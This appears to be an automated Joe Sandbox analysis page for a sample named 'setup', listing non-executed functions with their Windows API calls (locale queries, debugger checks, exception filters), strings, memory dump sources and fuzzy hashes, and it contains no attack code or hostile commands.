Opcode Fuzzy Hash: 8dd9953f5e5d5d4877ff121dac901247176a672984de4d8df4f26a735c3ac21e
Instruction Fuzzy Hash: 2FD06C3200010DFBDF028F84DC06EDA3FAAFB48714F118100BA1856060C732E861EB90

Non-executed Functions

Function 00B06C64 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00B06E48

Strings

1#QNAN, xrefs: 00B06D77
1#SNAN, xrefs: 00B06D70
1#INF, xrefs: 00B06D9A
1#IND, xrefs: 00B06D69

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 12c74f67bb93a50dbecc277d25d1688207c17eb4fc13b95b859cd9c6f8dd5318
Instruction ID: 4272621899a7c401f57f38530e02f602b08d61e2660939ae40b5a0f4f4ad3646
Opcode Fuzzy Hash: 12c74f67bb93a50dbecc277d25d1688207c17eb4fc13b95b859cd9c6f8dd5318
Instruction Fuzzy Hash: 75D22A72E482298FDB65CE28DD407EABBF5EB44304F1445EAD44DE7280EB74AE858F41

Function 00B0581C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00B05B3A,00000002,00000000,?,?,?,00B05B3A,?,00000000), ref: 00B058B5
GetLocaleInfoW.KERNEL32(?,20001004,00B05B3A,00000002,00000000,?,?,?,00B05B3A,?,00000000), ref: 00B058DE
GetACP.KERNEL32(?,?,00B05B3A,?,00000000), ref: 00B058F3

Strings

OCP, xrefs: 00B05870
ACP, xrefs: 00B0583A

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ac1b9fa6fa3055f4fc95903993190f495bfbd18739d09b4fd7f5a967a48963c1
Instruction ID: 8faf8f5dc517b0e47f728e87a0a73cf5dd51efe24a362a4b3d188285390e6de5
Opcode Fuzzy Hash: ac1b9fa6fa3055f4fc95903993190f495bfbd18739d09b4fd7f5a967a48963c1
Instruction Fuzzy Hash: 6621C122A00B01AADB348B55C944B977FE6EF54B50B5AC5A4ED0AD7980FB32DD80CB90

Function 00B059F1 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AFB970: GetLastError.KERNEL32(?,00000008,00B011BC), ref: 00AFB974
Part of subcall function 00AFB970: SetLastError.KERNEL32(00000000,00B16140,00000006,000000FF), ref: 00AFBA16

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00B05AFD
IsValidCodePage.KERNEL32(00000000), ref: 00B05B46
IsValidLocale.KERNEL32(?,00000001), ref: 00B05B55
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00B05B9D
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00B05BBC

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: f4b68b3e61dbef5704f29a2ac60d46ad6490a75c4cce105ea3419fb5e6016b62
Instruction ID: a581c09a17dee08a928c768581f4cd6a224285278aaf850ec5a91fee2b4ec41e
Opcode Fuzzy Hash: f4b68b3e61dbef5704f29a2ac60d46ad6490a75c4cce105ea3419fb5e6016b62
Instruction Fuzzy Hash: 55515D71A00A09AEDB20DFA5DC81ABF7BF8EF44700F5445A9A911E7591EB709940CF61

Function 00B0508D Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AFB970: GetLastError.KERNEL32(?,00000008,00B011BC), ref: 00AFB974
Part of subcall function 00AFB970: SetLastError.KERNEL32(00000000,00B16140,00000006,000000FF), ref: 00AFBA16

GetACP.KERNEL32(?,?,?,?,?,?,00AFA096,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00B0514E
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00AFA096,?,?,?,00000055,?,-00000050,?,?), ref: 00B05179
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00B052DC

Strings

utf8, xrefs: 00B0524B

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: a448ddb86ad03821001466e369df176688322b3de4a7bbf733606f77061afa74
Instruction ID: b4d6846bb181a3261ae5c7f266ca230be335874c336b397611146e7a751d20e4
Opcode Fuzzy Hash: a448ddb86ad03821001466e369df176688322b3de4a7bbf733606f77061afa74
Instruction Fuzzy Hash: D971D771600B0AAADB34AB74CC46BAB7BECEF04740F1444A9F605D75D1EB70ED408BA4

Function 00AFFEFD Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00AFFF8A

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e0c59bc8d8984e6666305cd212fafe6242b5c06bf72fe89a7c197a62456e8f0b
Instruction ID: e2de3699bc9ba304f57da138f2e2345408d63260846d8f06f58f041c2f5a8064
Opcode Fuzzy Hash: e0c59bc8d8984e6666305cd212fafe6242b5c06bf72fe89a7c197a62456e8f0b
Instruction Fuzzy Hash: 56B135329142599FDB159F68C881BFEBFE5EF59340F1481EAF905AB282D235DD01CBA0

Function 00AEC06D Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00AEC079
IsDebuggerPresent.KERNEL32 ref: 00AEC145
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00AEC15E
UnhandledExceptionFilter.KERNEL32(?), ref: 00AEC168

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: cf680580128600e421efc92aecdab390a78a780ed4a02c2c30481b63b1f06205
Instruction ID: d252de08d574fc59f9a58bddf2a458ddbd5b4c6d3c47ba2a1bf6e751d2255762
Opcode Fuzzy Hash: cf680580128600e421efc92aecdab390a78a780ed4a02c2c30481b63b1f06205
Instruction Fuzzy Hash: BF312775D01228DBDB20EFA5D9497CDBBB8AF08300F1041AAE50CAB250EB709A85CF45

Function 00B054A0 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00AFB970: GetLastError.KERNEL32(?,00000008,00B011BC), ref: 00AFB974
Part of subcall function 00AFB970: SetLastError.KERNEL32(00000000,00B16140,00000006,000000FF), ref: 00AFBA16

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B054F4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B0553E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B05604

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: cce43ca1a09f3b52abf3337865717192eb2c347ed676bdc54a4075e08cd1e4e9
Instruction ID: 3da873f42be1e311b820130853da0078ecf28bf3f2afbd134c1aeedbc7fbf29c
Opcode Fuzzy Hash: cce43ca1a09f3b52abf3337865717192eb2c347ed676bdc54a4075e08cd1e4e9
Instruction Fuzzy Hash: 2A615E71910A079BDB349F28CC82BAB7BE9EF14300F6081A9E905C69C5EB75D994DF60

Function 00AEFE83 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00B16140), ref: 00AEFF7B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00B16140), ref: 00AEFF85
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00B16140), ref: 00AEFF92

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 84920ea437cce9400591388868137969da2344702542ff51dbefdf125b3b1c93
Instruction ID: 3764e60e01e9280463a0e565e0d2fd6ef8833c3718e53c3a5955cfe9a8162bd2
Opcode Fuzzy Hash: 84920ea437cce9400591388868137969da2344702542ff51dbefdf125b3b1c93
Instruction Fuzzy Hash: 6031C4759012289BCB21DF69D9897DDBBB8BF18310F5042EAE41CA7290EB709F85CF44

Function 00AF3AA0 Relevance: 3.4, APIs: 2, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaabb51ee67577d41bf2c772d20abb3294cea10c41c3aea82b12306928e37f47
Instruction ID: 2341b38989d9401596f32dc5e427f04933339dd0d00059c30622a3a2e963ca6c
Opcode Fuzzy Hash: aaabb51ee67577d41bf2c772d20abb3294cea10c41c3aea82b12306928e37f47
Instruction Fuzzy Hash: B4F13E72E0121D9FDF14CFA9C8806ADFBB1FF88314F158269E915AB380D730AE458B90

Function 00AFBFF9 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000000), ref: 00AFC226

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: aec203ae9b709296810bb7f844e078cdac367c695e84a8ee63332f2c3a3a4925
Instruction ID: de54db7e2b0114e84250fc407414462f25983ab9a26975fc432da9ead6352898
Opcode Fuzzy Hash: aec203ae9b709296810bb7f844e078cdac367c695e84a8ee63332f2c3a3a4925
Instruction Fuzzy Hash: 9EB15A3161060CCFD718CF69C586BA57BA0FF45364F258658F99ACF2A2C336E992CB44

Function 00AEBB3C Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00AEBB52

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: c249bd2c28bb903947f6a5371097bb9dd3093fc9eac4f6d9875445c46808f656
Instruction ID: f715e8e27a549143f2cc68fc64b24e6567a5e2bf8c1519cab5d920e019d01779
Opcode Fuzzy Hash: c249bd2c28bb903947f6a5371097bb9dd3093fc9eac4f6d9875445c46808f656
Instruction Fuzzy Hash: 9651A671D216458FEB24CF69DDC97AEB7F4FB48350F24892AC405E7290DBB89940CB60

Function 00B02953 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e9599dae1074a2ab120e69a8ebcfac68d14fb32caa46d50d650c1f8453392be
Instruction ID: f904d2a593959dda271af3cac2d1c30b936bfc1738a280c11fb0b642f2e2ca7c
Opcode Fuzzy Hash: 2e9599dae1074a2ab120e69a8ebcfac68d14fb32caa46d50d650c1f8453392be
Instruction Fuzzy Hash: FA31D776900219AFCB20DFA8CC8DDBBBBBDEB84314F1441A8F915D7284EA309D448B50

Function 00AF6926 Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

0, xrefs: 00AF6AB4

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b9b86a57dbfd6389d154fc03c645cd7158f50b7388de7dc0fdaee318eadb3d61
Instruction ID: dce1a423d1964723dd76b4fab6e2d84aabafc3f3f368d75926acf70e1710334a
Opcode Fuzzy Hash: b9b86a57dbfd6389d154fc03c645cd7158f50b7388de7dc0fdaee318eadb3d61
Instruction Fuzzy Hash: ACC1BE70A0464E8FCB24CFA8C5906BAB7B1EF05310F28861DF696DB291C771ED46CB91

Function 00B056F3 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00AFB970: GetLastError.KERNEL32(?,00000008,00B011BC), ref: 00AFB974
Part of subcall function 00AFB970: SetLastError.KERNEL32(00000000,00B16140,00000006,000000FF), ref: 00AFBA16

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B05747

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 81adda158082810252f77c3f5344bd618c2e481170f86a3cb857fb9c5f814eb4
Instruction ID: 1f65271bd1b3a761e56f9199fd347862cc83331f12f1801a8ec5e00d39a92b23
Opcode Fuzzy Hash: 81adda158082810252f77c3f5344bd618c2e481170f86a3cb857fb9c5f814eb4
Instruction Fuzzy Hash: B721507261160AEBDB389B25DC82ABB7BE8EF54314B1040BAFD01D6981EB74ED449F50

Function 00B0537A Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AFB970: GetLastError.KERNEL32(?,00000008,00B011BC), ref: 00AFB974
Part of subcall function 00AFB970: SetLastError.KERNEL32(00000000,00B16140,00000006,000000FF), ref: 00AFBA16

EnumSystemLocalesW.KERNEL32(00B054A0,00000001,00000000,?,-00000050,?,00B05AD1,00000000,?,?,?,00000055,?), ref: 00B053EC

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: fa1443f1171f491ad3286264b7c9e00e3f25073a9099951478a6262cebde8bf9
Instruction ID: 3b7f2518820c12b7127ee9129ed4907a76e8df3281b71123a763c019b72c6fb0
Opcode Fuzzy Hash: fa1443f1171f491ad3286264b7c9e00e3f25073a9099951478a6262cebde8bf9
Instruction Fuzzy Hash: 7C1129362007059FDB289F39C8915BBBBD1FF80359B54842DE68787B80D7717942CB40

Function 00B05922 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00AFB970: GetLastError.KERNEL32(?,00000008,00B011BC), ref: 00AFB974
Part of subcall function 00AFB970: SetLastError.KERNEL32(00000000,00B16140,00000006,000000FF), ref: 00AFBA16

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00B056BC,00000000,00000000,?), ref: 00B0594E

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: fa948158f69cf976009848aa63d43185d1c6ead700482713743724f2cb2eb2c2
Instruction ID: df733fd17dc9ee50106b6f8d64372fe3671b47151776691b51c9d4433f06c3f0
Opcode Fuzzy Hash: fa948158f69cf976009848aa63d43185d1c6ead700482713743724f2cb2eb2c2
Instruction Fuzzy Hash: 20F0D632600515FFDB345A61C845BFBBBA8DB40364F194465ED45A35C0EA70ED45C9D0

Function 00B05288 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00AFB970: GetLastError.KERNEL32(?,00000008,00B011BC), ref: 00AFB974
Part of subcall function 00AFB970: SetLastError.KERNEL32(00000000,00B16140,00000006,000000FF), ref: 00AFBA16

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00B052DC

Strings

utf8, xrefs: 00B0524B

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: 7ff24de12868cc6545e1c25218eda5f251089837c47c232760c80c50d30c81e2
Instruction ID: c2e3e223fdf561037b9d99d798ebe60149f97df04837398b626f8fa25c1548f2
Opcode Fuzzy Hash: 7ff24de12868cc6545e1c25218eda5f251089837c47c232760c80c50d30c81e2
Instruction Fuzzy Hash: F1F0A432650209EBD724AB74DD86ABB77ECDB44350F1401B9F603D7281EB74AD0497A4

Function 00B05415 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AFB970: GetLastError.KERNEL32(?,00000008,00B011BC), ref: 00AFB974
Part of subcall function 00AFB970: SetLastError.KERNEL32(00000000,00B16140,00000006,000000FF), ref: 00AFBA16

EnumSystemLocalesW.KERNEL32(00B056F3,00000001,?,?,-00000050,?,00B05A95,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00B0545F

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: bb901e994cb9d57e9bb96a7beb487f663853ab2c790d75ddb1ed53cb5d614611
Instruction ID: 81c41717568684e03ea058842973f91de39815125b39d44d98769ee41793faee
Opcode Fuzzy Hash: bb901e994cb9d57e9bb96a7beb487f663853ab2c790d75ddb1ed53cb5d614611
Instruction Fuzzy Hash: 98F022322007086FCB245F789C81ABB7FD5EB80368B08846DFA428BA90D7B19C41CA50

Function 00AFC8E0 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AF7639: EnterCriticalSection.KERNEL32(?,?,00AF8C0E,00000000,00B167F0,0000000C,00AF8BD5,?,?,00AFC672,?,?,00AFBB0E,00000001,00000364,?), ref: 00AF7648

EnumSystemLocalesW.KERNEL32(00AFC8D3,00000001,00B169C0,0000000C,00AFCCA5,00000000), ref: 00AFC918

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: b565c5d9e6a1975710195396a9e7fd0a117a3527dad200cf9a817537e726902e
Instruction ID: 445a8571d024705897dc3853b997545eada4e366b78d0d39522dea7ad100af87
Opcode Fuzzy Hash: b565c5d9e6a1975710195396a9e7fd0a117a3527dad200cf9a817537e726902e
Instruction Fuzzy Hash: 31F03C32A40208EFD700EF98E942B9D7BF0EB54760F10411AF511DB2E0DBB94940CB80

Function 00B0532F Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

